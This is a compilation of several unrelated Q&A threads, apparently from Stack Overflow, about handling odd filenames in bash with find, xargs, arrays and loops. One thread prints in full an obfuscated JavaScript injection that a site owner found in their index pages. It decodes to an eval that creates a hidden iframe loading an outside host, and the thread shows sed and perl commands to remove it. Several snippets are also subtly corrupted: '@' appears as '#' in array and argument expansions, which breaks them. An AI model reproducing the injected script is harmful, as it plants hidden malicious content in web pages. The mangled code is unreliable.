I am looking for a way to make a simple loop in bash over everything my directory contains, i.e. files, directories and links including hidden ones.
I will prefer if it could be specifically in bash but it has to be the most general. Of course, file names (and directory names) can have white space, break line, symbols. Everything but "/" and ASCII NULL (0×0), even at the first character. Also, the result should exclude the '.' and '..' directories.
Here is a generator of files on which the loop has to deal with :
#!/bin/bash
mkdir -p test
cd test
touch A 1 ! "hello world" \$\"sym.dat .hidden " start with space" $'\n start with a newline'
mkdir -p ". hidden with space" $'My Personal\nDirectory'
So my loop should look like (but has to deal with the tricky stuff above):
for i in * ;
echo ">$i<"
done
My closest try was the use of ls and bash array, but it is not working with, is:
IFS=$(echo -en "\n\b")
l=( $(ls -A .) )
for i in ${l[#]} ; do
echo ">$i<"
done
unset IFS
Or using bash arrays but the ".." directory is not exclude:
IFS=$(echo -en "\n\b")
l=( [[:print:]]* .[[:print:]]* )
for i in ${l[#]} ; do
echo ">$i<"
done
unset IFS
* doesn't match files beginning with ., so you just need to be explicit:
for i in * .[^.]*; do
echo ">$i<"
done
.[^.]* will match all files and directories starting with ., followed by a non-. character, followed by zero or more characters. In other words, it's like the simpler .*, but excludes . and ... If you need to match something like ..foo, then you might add ..?* to the list of patterns.
As chepner noted in the comments below, this solution assumes you're running GNU bash along with GNU find GNU sort...
GNU find can be prevented from recursing into subdirectories with the -maxdepth option. Then use -print0 to end every filename with a 0x00 byte instead of the newline you'd usually get from -print.
The sort -z sorts the filenames between the 0x00 bytes.
Then, you can use sed to get rid of the dot and dot-dot directory entries (although GNU find seems to exclude the .. already).
I also used sed to get read of the ./ in front of every filename. basename could do that too, but older systems didn't have basename, and you might not trust it to handle the funky characters right.
(These sed commands each required two cases: one for a pattern at the start of the string, and one for the pattern between 0x00 bytes. These were so ugly I split them out into separate functions.)
The read command doesn't have a -z or -0 option like some commands, but you can fake it with -d "" and blanking the IFS environment variable.
The additional -r option prevents a backslash-newline combo from being interpreted as a line continuation. (A file called backslash\\nnewline would otherwise be mangled to backslashnewline.) It might be worth seeing if other backslash-combos get interpreted as escape sequences.
remove_dot_and_dotdot_dirs()
{
sed \
-e 's/^[.]\{1,2\}\x00//' \
-e 's/\x00[.]\{1,2\}\x00/\x00/g'
}
remove_leading_dotslash()
{
sed \
-e 's/^[.]\///' \
-e 's/\x00[.]\//\x00/g'
}
IFS=""
find . -maxdepth 1 -print0 |
sort -z |
remove_dot_and_dotdot_dirs |
remove_leading_dotslash |
while read -r -d "" filename
do
echo "Doing something with file '${filename}'..."
done
It may not be the most favorable way but I tried bellow thing
while read line ; do echo $line; done <<< $(ls -a | grep -v -w ".")
check the below trail which I did
Try the find command, something like:
find .
That will list all the files in all recursive directories.
To output only files excluding the leading . or .. try:
find . -type f -printf %P\\n
In linux shell scripting I am trying to set the output of find into an array as below
#!/bin/bash
arr=($(find . -type -f))
but it give error as -type should contain only one character. can anybody tell me where is the issue.
Thanks
If you are using bash 4, the readarray command can be used along with process substitution.
readarray -t arr < <(find . -type f)
Properly supporting all file names, including those that contain newlines, requires a bit more work, along with a version of find that supports -print0:
while read -d '' -r; do
arr+=( "$REPLY" )
done < <(find . -type f -print0)
I suggest the following script:
#!/bin/bash
listoffiles=$(find . -type f)
nfiles=$(echo "${listoffiles}" | wc -l)
unset myarray
for i in $(seq 1 ${nfiles}) ; do
myarray[$((i-1))]=$(echo "${listoffiles}" | sed -n $i'{p;q}')
done
Because you cannot rely on the Bash automatic array instanciation through the myarr=( one two three ) syntax, because it treats the same way all whitespaces (including spaces) it sees within its parentheses. So you have to handle the resulting multiline variable listoffiles kindof manually, what I do in the above script.
echo without the -n option prints a trailing newline at the very end of the variable, but that's fine in our case because find doesn't (you may check this with echo -n "${listoffiles}").
And I use sed to extract the relevant i^th line, with the $i being interpreted by the shell before being given to sed as the first character of its own script.
First off, I need to give a disclaimer:
DO NOT RUN THIS JAVASCRIPT
It is code that has been injected in to some of my sites by someone unscrupulous. I need to find and replace it (with either a space or nothing). It has specifically targeted index.html and index.htm files with the exact same code in all of them.
The JavaScript is the following (again, don't run it).
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;587!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
I need to find and replace this via a unix-like command line (I don't want to have to go through every file manually).
I have tried the following:
sed -i "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g" *.html
Escaping all the double quotes, but this still throws the error:
sed: -e expression #1, char 2075: unknown option to `s'
However, I know that the s option does work, as I have previously used this to find and replace some PHP.
I have also tried the following, but to no effect either (throws the same error):
find . \( -name "*.html" -or -name "*.htm" \) | xargs grep -l "<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>" | xargs sed -i -e "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g"
What is causing this error, and how can I fix it?
I am at a loss as to what is causing that error, so any help is greatly appreciated.
The problem is that you're not escaping the special characters in the text, such as the / delimiter.
The easiest solution is to pick a different delimiter and to specify only a part of the string, for instance
find . -name '*.html' -o -name '*.htm' |
xargs fgrep -l '<script>i=0;try' |
xargs perl -i.infected -pe 's#<script>i=0;try.*?</script>##g'
(untested) may do the job.
(The .*? construct picks the shortest match; I don't know how to do that in sed.)
Verify with something like
find . -name '*.infected' | sed -e 's#.*#diff & &#' -e 's#.infected##' | sh -x
The sed error came from the fact that the syntax for search and replace is:
s/text/replace/options
But in your text a / appears, so the get the parts test, replace and options wrong.
There is an easy solution. sed does not need to use the / as the delimiter between the argumens. You can use any char you want. Just pick one not appearing in your text, e.g # or % (the first delimiter (the one after the intial s) is the delimiter he expects in the rest of the command)..
I'm trying to go the current directory and all sub direcotires, and add some annotations into each file that ends in .sql
heres a snippet of the code
HEADER="--SQL HEADER"
for f in 'find . -name *.sql';
do
echo $f
echo -e $HEADER > $f.tmp;
FNAME=${f//\//_/};
echo -e "\n\n--MORE ANNOTATIONS ${FNAME%.*}:1" >> $f.tmp;
cat $f >> $f.tmp;
mv $f.tmp $f;
rm $f.tmp
done;
im a beginner at bash so i think some of the errors im getting might be due to the find statement with the loop
but this is the error i get
find . -name X.sql A.sql W.sql E.sql S.sql
./annotate.sh: line 6: $f.tmp: ambiguous redirect
./annotate.sh: line 8: $f.tmp: ambiguous redirect
./annotate.sh: line 9: $f.tmp: ambiguous redirect
mv: invalid option -- n
Try `mv --help' for more information.
rm: invalid option -- n
Try `rm --help' for more information.
any help would be greatly appreciated =)
Here's the problem. Your "echo" gives it away:
echo $f
outputs
find . -name X.sql A.sql W.sql E.sql S.sql
I think the problem is you have straight single quotes ('') in the find command, instead of backquotes (``). So it's not really running find, but simply expanding the wildcards.
You may have to quote the wildcard so it gets passed to find instead of evaluated by the shell:
for f in `find . -name \*.sql`;
However, there are several problems in your script, which you should address if you want to use it more than once. See ormaaj's answer.
The problem, as already pointed out, is that find isn't actually being executed. However, this pattern is very wrong. Iterating using a for loop over anything that happens with a command substitution doesn't work because splitting the output into words requires word-splitting, which requires not quoting, which is a problem even if pathname expansion is disabled because filenames can contain newlines.
Preferably, use -exec. First write this script to a file and chmod u+x scriptname:
#!/usr/bin/env bash
header="--SQL HEADER"
for f in "$#"; do
echo "$f" >&2
fname=${f//\//_/}
cat - "$f" <<EOF >"$f.tmp"
${header}$'\n\n'
--MORE ANNOTATIONS ${fname%.*}:1
EOF
mv "$f.tmp" "$f"
done
Then run find like this:
find . -name '*.sql' -exec scriptname {} +
Alternatively, (and assuming this is a recent version of Bash), use globstar and no find (ksh has a similar feature if you prefer). This may be slower depending upon the job - the shell must pre-generate the list of files.
#!/usr/bin/env bash
shopt -s globstar
for f in ./**/*.sql; do
...
Alternatively, if you have Bash 4 and a system with the necessary GNU utilities, use -print0.
find . -name '*.sql' -print0 | while IFS= read -rd '' f; do
# <body of the above for loop here>
done
See: http://mywiki.wooledge.org/UsingFind
I'm trying to copy a bunch of files below a directory and a number of the files have spaces and single-quotes in their names. When I try to string together find and grep with xargs, I get the following error:
find .|grep "FooBar"|xargs -I{} cp "{}" ~/foo/bar
xargs: unterminated quote
Any suggestions for a more robust usage of xargs?
This is on Mac OS X 10.5.3 (Leopard) with BSD xargs.
You can combine all of that into a single find command:
find . -iname "*foobar*" -exec cp -- "{}" ~/foo/bar \;
This will handle filenames and directories with spaces in them. You can use -name to get case-sensitive results.
Note: The -- flag passed to cp prevents it from processing files starting with - as options.
find . -print0 | grep --null 'FooBar' | xargs -0 ...
I don't know about whether grep supports --null, nor whether xargs supports -0, on Leopard, but on GNU it's all good.
The easiest way to do what the original poster wants is to change the delimiter from any whitespace to just the end-of-line character like this:
find whatever ... | xargs -d "\n" cp -t /var/tmp
This is more efficient as it does not run "cp" multiple times:
find -name '*FooBar*' -print0 | xargs -0 cp -t ~/foo/bar
I ran into the same problem. Here's how I solved it:
find . -name '*FoooBar*' | sed 's/.*/"&"/' | xargs cp ~/foo/bar
I used sed to substitute each line of input with the same line, but surrounded by double quotes. From the sed man page, "...An ampersand (``&'') appearing in the replacement is replaced by the string matching the RE..." -- in this case, .*, the entire line.
This solves the xargs: unterminated quote error.
This method works on Mac OS X v10.7.5 (Lion):
find . | grep FooBar | xargs -I{} cp {} ~/foo/bar
I also tested the exact syntax you posted. That also worked fine on 10.7.5.
Just don't use xargs. It is a neat program but it doesn't go well with find when faced with non trivial cases.
Here is a portable (POSIX) solution, i.e. one that doesn't require find, xargs or cp GNU specific extensions:
find . -name "*FooBar*" -exec sh -c 'cp -- "$#" ~/foo/bar' sh {} +
Note the ending + instead of the more usual ;.
This solution:
correctly handles files and directories with embedded spaces, newlines or whatever exotic characters.
works on any Unix and Linux system, even those not providing the GNU toolkit.
doesn't use xargs which is a nice and useful program, but requires too much tweaking and non standard features to properly handle find output.
is also more efficient (read faster) than the accepted and most if not all of the other answers.
Note also that despite what is stated in some other replies or comments quoting {} is useless (unless you are using the exotic fishshell).
Look into using the --null commandline option for xargs with the -print0 option in find.
For those who relies on commands, other than find, eg ls:
find . | grep "FooBar" | tr \\n \\0 | xargs -0 -I{} cp "{}" ~/foo/bar
find | perl -lne 'print quotemeta' | xargs ls -d
I believe that this will work reliably for any character except line-feed (and I suspect that if you've got line-feeds in your filenames, then you've got worse problems than this). It doesn't require GNU findutils, just Perl, so it should work pretty-much anywhere.
I have found that the following syntax works well for me.
find /usr/pcapps/ -mount -type f -size +1000000c | perl -lpe ' s{ }{\\ }g ' | xargs ls -l | sort +4nr | head -200
In this example, I am looking for the largest 200 files over 1,000,000 bytes in the filesystem mounted at "/usr/pcapps".
The Perl line-liner between "find" and "xargs" escapes/quotes each blank so "xargs" passes any filename with embedded blanks to "ls" as a single argument.
Frame challenge — you're asking how to use xargs. The answer is: you don't use xargs, because you don't need it.
The comment by user80168 describes a way to do this directly with cp, without calling cp for every file:
find . -name '*FooBar*' -exec cp -t /tmp -- {} +
This works because:
the cp -t flag allows to give the target directory near the beginning of cp, rather than near the end. From man cp:
-t, --target-directory=DIRECTORY
copy all SOURCE arguments into DIRECTORY
The -- flag tells cp to interpret everything after as a filename, not a flag, so files starting with - or -- do not confuse cp; you still need this because the -/-- characters are interpreted by cp, whereas any other special characters are interpreted by the shell.
The find -exec command {} + variant essentially does the same as xargs. From man find:
-exec command {} +
This variant of the -exec action runs the specified command on
the selected files, but the command line is built by appending
each selected file name at the end; the total number of invoca‐
matched files. The command line is built in much the same way
that xargs builds its command lines. Only one instance of `{}'
is allowed within the command, and (when find is being invoked
from a shell) it should be quoted (for example, '{}') to protect
it from interpretation by shells. The command is executed in
the starting directory. If any invocation returns a non-zero
value as exit status, then find returns a non-zero exit status.
If find encounters an error, this can sometimes cause an immedi‐
ate exit, so some pending commands may not be run at all. This
variant of -exec always returns true.
By using this in find directly, this avoids the need of a pipe or a shell invocation, such that you don't need to worry about any nasty characters in filenames.
With Bash (not POSIX) you can use process substitution to get the current line inside a variable. This enables you to use quotes to escape special characters:
while read line ; do cp "$line" ~/bar ; done < <(find . | grep foo)
Be aware that most of the options discussed in other answers are not standard on platforms that do not use the GNU utilities (Solaris, AIX, HP-UX, for instance). See the POSIX specification for 'standard' xargs behaviour.
I also find the behaviour of xargs whereby it runs the command at least once, even with no input, to be a nuisance.
I wrote my own private version of xargs (xargl) to deal with the problems of spaces in names (only newlines separate - though the 'find ... -print0' and 'xargs -0' combination is pretty neat given that file names cannot contain ASCII NUL '\0' characters. My xargl isn't as complete as it would need to be to be worth publishing - especially since GNU has facilities that are at least as good.
For me, I was trying to do something a little different. I wanted to copy my .txt files into my tmp folder. The .txt filenames contain spaces and apostrophe characters. This worked on my Mac.
$ find . -type f -name '*.txt' | sed 's/'"'"'/\'"'"'/g' | sed 's/.*/"&"/' | xargs -I{} cp -v {} ./tmp/
If find and xarg versions on your system doesn't support -print0 and -0 switches (for example AIX find and xargs) you can use this terribly looking code:
find . -name "*foo*" | sed -e "s/'/\\\'/g" -e 's/"/\\"/g' -e 's/ /\\ /g' | xargs cp /your/dest
Here sed will take care of escaping the spaces and quotes for xargs.
Tested on AIX 5.3
I created a small portable wrapper script called "xargsL" around "xargs" which addresses most of the problems.
Contrary to xargs, xargsL accepts one pathname per line. The pathnames may contain any character except (obviously) newline or NUL bytes.
No quoting is allowed or supported in the file list - your file names may contain all sorts of whitespace, backslashes, backticks, shell wildcard characters and the like - xargsL will process them as literal characters, no harm done.
As an added bonus feature, xargsL will not run the command once if there is no input!
Note the difference:
$ true | xargs echo no data
no data
$ true | xargsL echo no data # No output
Any arguments given to xargsL will be passed through to xargs.
Here is the "xargsL" POSIX shell script:
#! /bin/sh
# Line-based version of "xargs" (one pathname per line which may contain any
# amount of whitespace except for newlines) with the added bonus feature that
# it will not execute the command if the input file is empty.
#
# Version 2018.76.3
#
# Copyright (c) 2018 Guenther Brunthaler. All rights reserved.
#
# This script is free software.
# Distribution is permitted under the terms of the GPLv3.
set -e
trap 'test $? = 0 || echo "$0 failed!" >& 2' 0
if IFS= read -r first
then
{
printf '%s\n' "$first"
cat
} | sed 's/./\\&/g' | xargs ${1+"$#"}
fi
Put the script into some directory in your $PATH and don't forget to
$ chmod +x xargsL
the script there to make it executable.
bill_starr's Perl version won't work well for embedded newlines (only copes with spaces). For those on e.g. Solaris where you don't have the GNU tools, a more complete version might be (using sed)...
find -type f | sed 's/./\\&/g' | xargs grep string_to_find
adjust the find and grep arguments or other commands as you require, but the sed will fix your embedded newlines/spaces/tabs.
I used Bill Star's answer slightly modified on Solaris:
find . -mtime +2 | perl -pe 's{^}{\"};s{$}{\"}' > ~/output.file
This will put quotes around each line. I didn't use the '-l' option although it probably would help.
The file list I was going though might have '-', but not newlines. I haven't used the output file with any other commands as I want to review what was found before I just start massively deleting them via xargs.
I played with this a little, started contemplating modifying xargs, and realised that for the kind of use case we're talking about here, a simple reimplementation in Python is a better idea.
For one thing, having ~80 lines of code for the whole thing means it is easy to figure out what is going on, and if different behaviour is required, you can just hack it into a new script in less time than it takes to get a reply on somewhere like Stack Overflow.
See https://github.com/johnallsup/jda-misc-scripts/blob/master/yargs and https://github.com/johnallsup/jda-misc-scripts/blob/master/zargs.py.
With yargs as written (and Python 3 installed) you can type:
find .|grep "FooBar"|yargs -l 203 cp --after ~/foo/bar
to do the copying 203 files at a time. (Here 203 is just a placeholder, of course, and using a strange number like 203 makes it clear that this number has no other significance.)
If you really want something faster and without the need for Python, take zargs and yargs as prototypes and rewrite in C++ or C.
You might need to grep Foobar directory like:
find . -name "file.ext"| grep "FooBar" | xargs -i cp -p "{}" .
If you are using Bash, you can convert stdout to an array of lines by mapfile:
find . | grep "FooBar" | (mapfile -t; cp "${MAPFILE[#]}" ~/foobar)
The benefits are:
It's built-in, so it's faster.
Execute the command with all file names in one time, so it's faster.
You can append other arguments to the file names. For cp, you can also:
find . -name '*FooBar*' -exec cp -t ~/foobar -- {} +
however, some commands don't have such feature.
The disadvantages:
Maybe not scale well if there are too many file names. (The limit? I don't know, but I had tested with 10 MB list file which includes 10000+ file names with no problem, under Debian)
Well... who knows if Bash is available on OS X?